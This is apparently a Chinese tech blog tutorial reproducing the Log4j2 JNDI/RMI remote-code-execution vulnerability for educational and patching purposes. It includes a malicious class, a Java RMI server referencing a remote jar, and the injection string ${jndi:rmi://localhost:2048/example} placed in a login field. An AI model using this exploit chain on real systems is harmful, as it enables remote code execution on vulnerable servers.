天天看點

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

1 事件背景

經過一周時間的Log4j2 RCE事件的發酵,事情也變也越來越複雜和有趣,就連 Log4j 官方緊急釋出了 2.15.0 版本之後沒有過多久,又發聲明說 2.15.0 版本也沒有完全解決問題,然後進而繼續釋出了 2.16.0 版本。大家都以為2.16.0是最終終結版本了,沒想到才過多久又爆雷,Log4j 2.17.0橫空出世。

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

相信各位小夥伴都在加班加點熬夜緊急修複和改正Apache Log4j爆出的安全漏洞,各企業都瑟瑟發抖,連網警都通知各位站長,包括我也收到了湖南長沙高新區網警的通知。

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

我也緊急釋出了兩篇教程,給各位小夥伴支招,我之前釋出的教程依然有效。

【緊急】Apache Log4j任意代碼執行漏洞安全風險更新修複教程 【緊急】繼續折騰,Log4j再發2.16.0,強烈建議更新
【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂
【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂
【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂
【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

雖然,各位小夥伴按照教程一步一步操作能快速解決問題,但是很多小夥伴依舊有很多疑惑,不知其是以然。在這裡我給大家詳細分析并複現一下Log4j2漏洞産生的原因,純粹是以學習為目的。

Log4j2漏洞總體來說是通過JNDI注入惡意代碼來完成攻擊,具體的操作方式有RMI和LDAP等。

2 JNDI介紹

2.1 JNDI定義

JNDI(Java Naming and Directory Interface,Java命名和目錄接口)是Java中為命名和目錄服務提供接口的API,JNDI主要由兩部分組成:Naming(命名)和Directory(目錄),其中Naming是指将對象通過唯一辨別符綁定到一個上下文Context,同時可通過唯一辨別符查找獲得對象,而Directory主要指将某一對象的屬性綁定到Directory的上下文DirContext中,同時可通過名稱擷取對象的屬性,同時也可以操作屬性。

2.2 JNDI架構

Java應用程式通過JNDI API通路目錄服務,而JNDI API會調用Naming Manager執行個體化JNDI SPI,然後通過JNDI SPI去操作命名或目錄服務其如LDAP, DNS,RMI等,JNDI内部已實作了對LDAP,DNS, RMI等目錄伺服器的操作API。其架構圖如下所示:

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

2.3 JNDI核心API

| 類名 | 解釋 |

| -------- | -------- |

| Context | 命名服務的接口類,由很多的name-to-object的健值對組成,可以通過該接口将健值對綁定到該類中,也可通過該類根據name擷取其綁定的對象 |

| InitialContextNaming | (命名服務)操作的入口類,通過該類可對命名服務進行相關的操作 |

| DirContext | Directory目錄服務的接口類,該類繼承自Context,在Naming服務的基礎上擴充了對于對象屬性的綁定和擷取操作 |

| InitialDirContext | Directory目錄服務相關操作的入口類,通過該類可進行目錄相關服務的操作 |

Java通過JNDI API去調用服務。例如,我們大家熟悉的odbc資料連接配接,就是通過JNDI的方式來調用資料源的。以下代碼大家應該很熟悉:

<?xml version="1.0" encoding="UTF-8"?>
<Context>
    <Resource name="jndi/person"
            auth="Container"
            type="javax.sql.DataSource"
            username="root"
            password="root"
            driverClassName="com.mysql.jdbc.Driver"
            url="jdbc:mysql://localhost:3306/test"
            maxTotal="8"
            maxIdle="4"/>
</Context>           

在Context.xml檔案中我們可以定義資料庫驅動,url、賬号密碼等關鍵資訊,其中name這個字段的内容為自定義。下面使用InitialContext對象擷取資料源

Connection conn=null; 
PreparedStatement ps = null;
ResultSet rs = null;
try { 
  Context ctx=new InitialContext(); 
  Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //引用資料源 
  DataSource ds=(Datasource)datasourceRef; 
  conn = ds.getConnection(); 
  
  //省略部分代碼
  ...
  
  c.close(); 
} catch(Exception e) { 
  e.printStackTrace(); 
} finally { 
  if(conn!=null) { 
    try { 
      conn.close(); 
    } catch(SQLException e) { } 
  } 
}           

是不是很熟悉呢?JNDI的其他應用在此我就不多做介紹了,如果還不了解JNDI/RMI/LDAP等相關概念的小夥伴請自行百度一下。

3 攻擊原理

下面我以RMI的方式為例,詳細複現步驟和分析原因。解釋基本攻擊原理之前,我們先來看一張時序圖:

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

1、攻擊者首先釋出一個RMI服務,此服務将綁定一個引用類型的RMI對象。在引用對象中指定一個遠端的含有惡意代碼的類。例如:包含 system.exit(1) 等類似的危險操作和惡意代碼的下載下傳位址。

2、攻擊者再釋出另一個惡意代碼下載下傳服務,此服務可以下載下傳所有含有惡意代碼的類。

3、攻擊者利用Log4j2的漏洞注入RMI調用,例如:logger.info("日志資訊 ${jndi:rmi://rmi-service:port/example}")。

4、調用RMI後将擷取到引用類型的RMI遠端對象,該對象将就加載惡意代碼并執行。

4 漏洞複現

4.1 建立惡意代碼

建立惡意代碼相關類,以下代碼僅供學習:

package com.tom.example.log4j;

public class HackedClassFactory {

    public HackedClassFactory(){
        System.out.println("程式即将終止");
        System.exit(1);
    }
}
           

建立HackedClassFactory類的定義,在構造函數裡寫入終止程式運作的惡意代碼。

4.2 釋出惡意代碼

将HackedClassFactory類打成jar包,釋出到HTTP伺服器上,能通過簡單的Get請求正常下載下傳即可。

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

4.3 建立RMI服務

編寫如下代碼,并運作程式:

package com.tom.example.rmi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.util.Hashtable;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class HackedRmiService {
    
    public static void main(String[] args) {
        try {
            int port = 2048;  //設定RMI服務遠端監聽端口
            //建立并釋出RMI服務
            LocateRegistry.createRegistry(port);
            Hashtable<String, Object> env = new Hashtable<String,Object>();
            env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
            env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port);
            Context context = new InitialContext(env);


            String serviceName = "example";
            String serviceClassName = "com.tom.example.log4j.HackedClassFactory";
            //指定惡意代碼的下載下傳位址
            Reference refer = new Reference(
                    serviceName,
                    serviceClassName,
                    "http://127.0.0.1/example/classes.jar");
            ReferenceWrapper wrapper = new ReferenceWrapper(refer);

            //為RMI服務綁定一個引用類型的對象,此對象可以被遠端通路
            context.bind(serviceName,wrapper);

        }catch (Exception e){
            e.printStackTrace();
        }
    }
}
           

RMI服務啟動之後,即釋出了監聽端口為2048的RMI服務。

運作 netstat -ano | find "2048" 指令檢驗,得到如下結果,說明RMI服務已經正常啟動,如下圖:

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

4.4 注入惡意代碼

下面我們利用Log4j的漏洞注入惡意代碼,有已知使用者登入的業務場景,小夥伴們先不管它是如何實作的,其代碼如下:

@RequestMapping(value="/login")
public ResponseEntity login(String loginName,String loginPass){
    
    ResultMsg<?> data = memberService.login(loginName,loginPass);

    //示範代碼,省略業務邏輯,預設為登入成功
    log.info("登入成功",loginName);

    String json = JSON.toJSONString(data);

    return ResponseEntity
            .ok()
            .contentType(MediaType.APPLICATION_JSON)
            .body(json);
}           

利用Postman測試,首先正常通路能得到期望的結果,如下圖所示:

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

使用者登入成功後會正常傳回token,這看上去是一個正常操作。細心的小夥發現,在登入成功之後,背景會列印一條日志且輸出登入的使用者名。

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

接下來,我做一個非正常操作。将使用者名輸入為 ${jndi:rmi://localhost:2048/example}

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

我們發現程式已經無法響應,再看背景日志,已經終止運作。

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

這裡僅僅隻是示範效果,我編寫的惡意代碼隻是終止程式,如果攻擊者注入的是其他惡意代碼,那後果将不堪設想。

5 源碼分析

通過以上案例還原了攻擊者利用Log4j的漏洞對目标程式進行攻擊的完整過程,接下來分析一下Log4j的源碼進而了解根本原因。其罪魁禍首是Log4j2 的MessagePatternConverter元件中的format()方法,Log4j在記錄日志的時候會間接的調用該方法,具體源碼如下:

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

從源碼中我們可以發現該方法會截取 $ 和 { } 之間的字元串,将該字元作為查找對象的條件。如果字元是 jndi:rmi 這樣的協定格式則進行JNDI方式的RMI調用,進而觸發原生的RMI服務調用。具體調用位置在StrSubstitutor的substitute()方法:

private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<String> priorVariables) {

   //此處省略部分代碼
   ...

    this.checkCyclicSubstitution(varName, (List)priorVariables);
    ((List)priorVariables).add(varName);
    String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
    if (varValue == null) {
        varValue = varDefaultValue;
    }
    
     //此處省略部分代碼
    ...
    
}           

上述代碼中的resolveVariable()最終會調用InitialContext的lookup()方法:

protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) {
    StrLookup resolver = this.getVariableResolver();
    return resolver == null ? null : resolver.lookup(event, variableName);
}
           

通過斷點調試,我們确實發現調用了RMI服務,下圖所示:

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

最終惡意代碼通過RMI加載完成以後,會調用javax.naming.spi.NamingManager的getObjectFactoryFromReference()方法加載惡意代碼,也就是我們之前寫的com.tom.example.log4j.HackedClassFactory類。首先會在嘗試本地找,如果本地找不到會通過遠端位址加載,也就是我們釋出的下載下傳服務,即

http://127.0.0.1/example/classes.jar
【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

加載遠端代碼之後,通過反射調用構造器建立攻擊類的執行個體,而惡意代碼編寫在構造器中,是以在被攻擊者的程式中間接執行了惡意代碼。

【緊急】Log4j又發新版2.17.0,隻有徹底搞懂漏洞原因,才能以不變應萬變,小白也能看懂

看到這裡,小夥伴們是不是有種和SQL注入如出一轍的感覺。

5 風險條件

該漏洞需要滿足以下條件才有可能被攻擊:

1、首先使用的是Logj4j2的漏洞版本,即 <= 2.14.1的版本。

2、攻擊者有機會注入惡意代碼,例如系統中記錄的日志資訊沒有任何特殊過濾。

3、攻擊者需要釋出RMI遠端服務和惡意代碼下載下傳服務。

4、被攻擊者的網絡可以通路到RMI服務和惡意代碼下載下傳服務,即被攻擊者的伺服器可以随意通路公網,或者在内網釋出過類似的危險服務。

5、被攻擊者在JVM中開啟了RMI/LDAP等協定的truseURLCodebase屬性為ture。

以上就是我對Log4j2 RCE漏洞的完整複現及根本原因分析,當然最高效的方式還是關閉Lookup相關功能。雖然,官方也在緊急修複,但涉及到軟體更新存在一定風險,還有可能需要大量的重複測試工作。

我在之前緊急釋出的教程依然有效,大家可以繼續參照用最高效可靠的方式解決問題。

關注微信公衆号『 Tom彈架構 』回複“Spring”可擷取完整源碼。

本文為“Tom彈架構”原創,轉載請注明出處。技術在于分享,我分享我快樂!如果您有任何建議也可留言評論或私信,您的支援是我堅持創作的動力。關注微信公衆号『 Tom彈架構 』可擷取更多技術幹貨!

原創不易,堅持很酷,都看到這裡了,小夥伴記得點贊、收藏、在看,一鍵三連加關注!如果你覺得内容太幹,可以分享轉發給朋友滋潤滋潤!